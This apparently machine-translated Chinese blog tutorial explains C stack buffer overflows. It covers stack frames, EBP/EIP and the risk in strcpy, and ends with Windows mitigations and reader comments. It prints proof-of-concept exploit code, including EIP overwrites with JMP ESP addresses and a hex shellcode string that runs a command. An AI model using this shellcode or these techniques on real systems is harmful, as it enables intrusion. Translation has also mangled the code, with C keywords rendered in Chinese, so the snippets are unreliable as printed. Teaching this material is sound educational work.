C |缓冲区溢出简单例子及原理分析

1 一个简单溢出的实例先不说概念和原理,看一个实例:#include <stdio.h>#include <string.h>#defi

大家好,今天给各位分享C |缓冲区溢出简单例子及原理分析的一些知识,其中也会对进行解释,文章篇幅可能偏长,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在就马上开始吧!

1)main函数输入密码,调用verify_password函数验证输入的密码是否等于1234567,如果等于则返回0,否则返回1。

2)strcpy函数存在不检查输入数据长度的漏洞。

3)利用缓冲区溢出修改认证值,完成验证。

在verify_password 堆栈帧中:

——————|缓冲区|——————|已验证|———- ——–| EBP |——————已验证位于缓冲区[8]下方。

Authenticated是int类型,占用内存4个字节。

buffer[8]占用8个字节。

控制buffer[]填充了8个字节,然后超出了1个字节。缓冲区溢出,导致原来经过验证的1被0覆盖,返回通过。

2 缓冲区和缓冲区溢出

2.1 缓冲器

缓冲区是应用程序用来保存用户输入输出数据和临时存储数据的内存空间。

2.2 缓冲区溢出

如果用户输入的数据长度超过了程序分配的内存空间,该数据就会覆盖程序为其他数据分配的内存空间,导致缓冲区溢出。如果程序存在缓冲区溢出漏洞,当用户向程序传递超过其长度的字符串时,如果不是刻意构造的字符串,一般只会出现分段错误,而达不到攻击的目的。如果攻击者通过创建缓冲区溢出导致程序运行用户shell,然后通过shell 执行其他命令。如果该程序属于root并且具有suid权限,那么攻击者就获得了具有root权限的shell,可以对系统执行任何操作。

3 函数调用与栈机制

内存中程序代码和数据的映像:

在C语言中,函数不能嵌套在定义中,但可以嵌套在调用中。嵌套调用时,如何正确回溯到初始调用点? (就像当你去一个陌生的地方,经过n个岔路口时,你如何回到起点?) C编译器使用堆栈机制来保证正确的回溯。

3.1 堆栈

栈实际上是一种遵循先进后出原则的数据结构。这个先进后出的意义也很简单,就是先存的数据会放在最里面的位置,而后存的数据会按顺序向外放置,所以先进去的数据会最后出来。入口和出口都是同一个出口。

形象地说,就像把书放在一个盒子里。最先放入的书总是在底部,后面的书堆在顶部。如果你想读到最下面的书,你必须把最上面的书拿出来。

1)栈是一个连续的内存空间

C |缓冲区溢出简单例子及原理分析

a 先进后出;

b 增长方向与内存的增长方向正好相反,从高地址向低地址增长;

2)每个线程都有自己的堆栈

a 提供临时存储数据的区域

3)使用POP/PUSH指令操作堆栈

4) 使用ESP寄存器指向栈顶,使用EBP指向栈帧底部。

3.2 堆栈内容

1)函数的参数;

2)函数返回地址;

3)EBP的值;

4)一些通用寄存器的值(EDI、ESI.);

5)当前执行函数的局部变量;

3.3 三个重要寄存器

1)SP(ESP)

也就是说,当数据压入或压出堆栈时,堆栈顶部的指针会发生变化。

2)血压(EBP)

即基地址指针用于标识堆栈中相对稳定的位置。通过BP,可以方便地引用函数参数和局部变量。

3)IP(EIP)

即指令寄存器。当某个函数的栈帧被压入栈时,它包含当前的IP值,即函数调用返回后下一条执行语句的地址。缓冲区溢出攻击是利用溢出来修改EIP的地址值。

3.4 函数调用流程

C |缓冲区溢出简单例子及原理分析

1)将参数压入堆栈;

2)保存指令寄存器的内容作为返回地址;

3) 将当前基址寄存器放入栈中;

4)将当前堆栈指针(ESP)复制到基地址寄存器中作为新的基地址;

5)为局部变量留出一些空间,并从ESP中减去适当的值;

3.5 函数调用中栈的工作过程

1)调用函数前压入堆栈

a 上级函数传递给该函数的参数;

b 返回地址(EIP);

c 当前EBP;

d 函数的局部变量;

2)调用函数后

a 弹出各个局部变量的值;

恢复EBP;

b 恢复EIP;

看下面的例子:

#include stdio.h#include stdlib.h#include string.hint BFunc(int i,int j){ int m=1;整数n=2; m=我; n=j;返回m;}int AFunc(int i,int j){ int m=3; int n=4;char szBuf[8]={0};printf(‘%d,%d\n’,n,m);char bufof[]=’12345678nnnnmmmm ‘;strcpy(szBuf,bufof);printf( ‘%d,%d\n’,n,m); m=i;n=j; BFunc(m,n);返回8;}int main(){ AFunc(5,6);系统(‘暂停’);返回0;}/*4,31852730990,1835887981*/

上述bufofsfug[]溢出的8字节长度覆盖了两个相邻的变量。如果长度超过16个字符,会提示错误。为什么?因为它用不正确的值覆盖了ESP和EIP的值。如果我们巧妙地用合法值覆盖EBP和EIP,会发生什么?

4 栈缓冲区溢出的利用

可以使用覆盖EIP的值作为JMP ESP来跳转到我们的ESP指针所指向的地址。

C |缓冲区溢出简单例子及原理分析

尽管某些版本是固定的,但JMP ESP 的值不确定。

这里的JMP ESP地址会因操作系统版本不同而有所不同。例如,在Win2000的User32.dll中,JMP ESP指令的地址为:sp0:0x77e2e32a、sp1:0x77e8898b、sp2:0x77e0492b、sp3:0x77e188a7、sp4:0x77e22c75。过去,很多攻击和利用程序都需要带上对方版本的参数。这就是原因。 Win7可以使用地址0x7ffa4512。

#include ‘stdio.h’ #include ‘string.h’ #include ‘stdlib.h’ #include ‘windows.h’char exp[]=’abcdefss’ //收取8个字节以用’AAAA’填充缓冲区//ebp 填写’\x05\x10\x40\x00’; //func()函数地址,EIP覆盖了jmp esp的地址//\x12\x45\xfa\x7f”; //也可以用这个地址void func(){ MessageBoxA(0, ‘Buffer Overflow attck!’, ‘hack’, 0);}int main(){char output[8]; strcpy(输出,exp);整数i=0; for( i=0;i8output[i];i++) printf(‘\\0x%x’,output[i]); printf(‘\n’);返回0;您还可以使用以下方法:

#include ‘stdio.h’ #include ‘string.h’ #include ‘windows.h’void func(){ MessageBoxA(0, ‘缓冲区溢出攻击!’, ‘hack’, 0);}int main(){字符输出[8]={0}; //int * 取地址,(int) 强制为int *(int *)((int)output+12)=(int)(int *) (func);返回0;一段代码可以伪装成字符串,称为shellcode:

#include stdio.h#include string.hchar name[]=’\x41\x41\x41\x41′ ‘\x41\x41\x41\x41′ //这里用8个字节填充缓冲区’\x41\ x41\ x41\x41′ //ebp填写’\x12\x45\xfa\x7f’ //eip覆盖了jmp esp的地址,这是sp3’\x55\x8B\xEC\x33\xC0\x50 \x50下的地址\x50′ //这里开头是shellcode’\xC6\x45\xF4\x4D”\xC6\x45\xF5\x53”\xC6\x45\xF6\x56”\xC6\x45\xF7\x43 ‘ ‘\xC6\x45\xF8\x52”\xC6\x45\xF9\x54”\xC6\x45\xFA\x2E”\xC6\x45\xFB\x44”\xC6\x45\xFC\x4C’ ‘\xC6\x45\xFD\x4C”\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2”\x55\x8B\xEC\x83\xEC\x2C\xB8\ x63\x6F\x6D\x6D”\x89\x45\xF4\xB8\x61\x6E\x64\x2E”\x89\x45\xF8\xB8\x63\x6F\x6D\x22”\x89\x45 \ xFC\x33\xD2\x88\x55\xFF”\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0’;int main(){ char 输出[8]; strcpy(输出,名称); for(int i=0;i8output[i];i++) printf(‘\\0x%x’,output[i]); return 0;}windows系统(xp sp2和win7及更高版本)内置了很多保护机制:

– 堆栈cookie(/GS 切换cookie)

– Safeseh(/Safeseh 编译器开关)

– 数据执行保护(DEP)(基于软件和硬件)

– 地址空间布局随机化(ASLR)

5 缓冲区溢出漏洞分析

C标准库string.h中的strcpy()是根据源字符串的\0作为结尾来判断的,并不检查复制的Buffer的大小。如果目标空间不够,就会出现BufferOverflow问题。

目前,建议使用strncpy 进行字符串复制。

加_s的版本是从VS2005推出的安全版本。

_s版本之所以安全,是因为他们在接口中添加了一个参数numElems来表示dest中的字节数,以防止由于目标指针dest空间不足而导致的bug。同时,返回值改为返回错误码。而不是为了一些所谓的方便而返回char* 。这样一来,接口的定义就比原来的安全多了。

但是,_s版本不是标准库,因此不建议使用它。

原型: extern void *memcpy(void *dest, void *src, unsigned int count);

注意:src和dest指向的内存区域不能重叠。该函数返回一个指向dest 的指针。

由于字符串以零结尾,因此只能对包含零的数据使用memcpy。

用户评论

C |缓冲区溢出简单例子及原理分析
独角戏°

这篇文章说得真是太清楚了!我就是最近在学计算机安全,一直不明白缓冲区溢出为啥这么危险,看了这篇文章恍然大悟,实例和原理分析都很有帮助!好评!

    有5位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
发呆

学习C语言的同学一定要看一下这篇博文,讲解得非常清晰易懂。缓冲区溢出这种漏洞真可怕,理解它不仅对编程很重要,也对保护系统安全有极大的意义。

    有16位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
莫失莫忘

看了你的实例分析,感觉真的可以动手实战体验一下了,我准备找个简单的C程序尝试看看如何造成溢出,再研究一下怎么预防!你以后还有不会文章吗?

    有10位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
玩味

说的有点笼统啊,像一个黑客想利用这种漏洞去攻击系统,具体操作步骤该怎么做可以详细点讲不?比如要怎样找到缓冲区的大小、写入多少数据才能造成溢出,还需要哪些工具辅助等。

    有5位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
殃樾晨

这也太简单了,我之前做过一个更复杂的缓冲区溢出实例,涉及到栈的布局和返回地址的劫持,你写的这个实例有点浅显…

    有5位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
孤独症

缓冲区溢出真的是非常强大的攻击手段,能够控制程序运行流程甚至获取系统权限。所以学习C语言的时候一定要注意内存安全问题,严格控制数据写入范围!

    有16位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
怅惘

我最近正在研究防御缓冲区溢出的方法,比如地址空间随机化(ASLR)或者栈保护机制(stack-canaries)。你写篇博文讲讲这些技术原理和应用场景怎么样?很感兴趣!

    有6位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
◆乱世梦红颜

感觉文章对小白还是比较友好,基本能理解缓冲区溢出是怎么发生以及为什么要避免它。希望以后能看到更多更深入的技术细节分析。

    有12位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
花开丶若相惜

说的没错啊,缓冲区溢出漏洞确实很常见,而且很容易被利用,所以我们写代码的时候一定要特别注意数据长度的控制,避免造成溢出问题!

    有17位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
一个人的荒凉

这个实例有点简单,没有模拟真实世界的攻击场景,比如实际应用中如何利用缓冲区溢出获取shell权限或者进行远程命令执行等等。我希望作者能够补充一些更実践的案例分析。

    有12位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
半世晨晓。

学习这些安全概念很重要,防止被黑客入侵!

    有10位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
。婞褔vīp

我之前遇到过类似的漏洞,结果差点酿成大祸,还好及时发现修复了,这篇文章真是太贴心了,提醒我们一定要认真对待程序的安全问题!

    有15位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
遗憾最汹涌

看了这篇博客,我觉得缓冲区溢出这种漏洞不仅出现在C语言中,其他语言比如Java、Python也可能存在类似的问题。

    有9位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
抚笙

学习编程的都知道要小心数据溢出,这篇文章科普得很好,特别是实例分析非常生动清晰,我很喜欢!

    有9位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
灬一抹丶苍白

我感觉这个标题有点吸引人,因为很多朋友在学习C语言的时候都会遇到缓冲区溢出的问题。你写的文章可以帮助他们更好地理解这个问题。

    有9位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
我的黑色迷你裙

我是一个软件安全工程师,每天都在研究这类漏洞。这篇博文对小白的解释比较清晰。建议作者可以在后续文章中深入分析攻击手法和防御技巧!

    有20位网友表示赞同!

C |缓冲区溢出简单例子及原理分析
陌潇潇

这篇文章很值得一看,特别是对想了解计算机安全方面知识的朋友们来说非常有帮助。建议把一些关键概念用图表或其他视觉化的方式呈现,更易于理解。

    有18位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/166579.html

(0)
小su's avatar小su
上一篇 2024年9月21日 下午1:37
下一篇 2024年9月21日 下午1:39

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注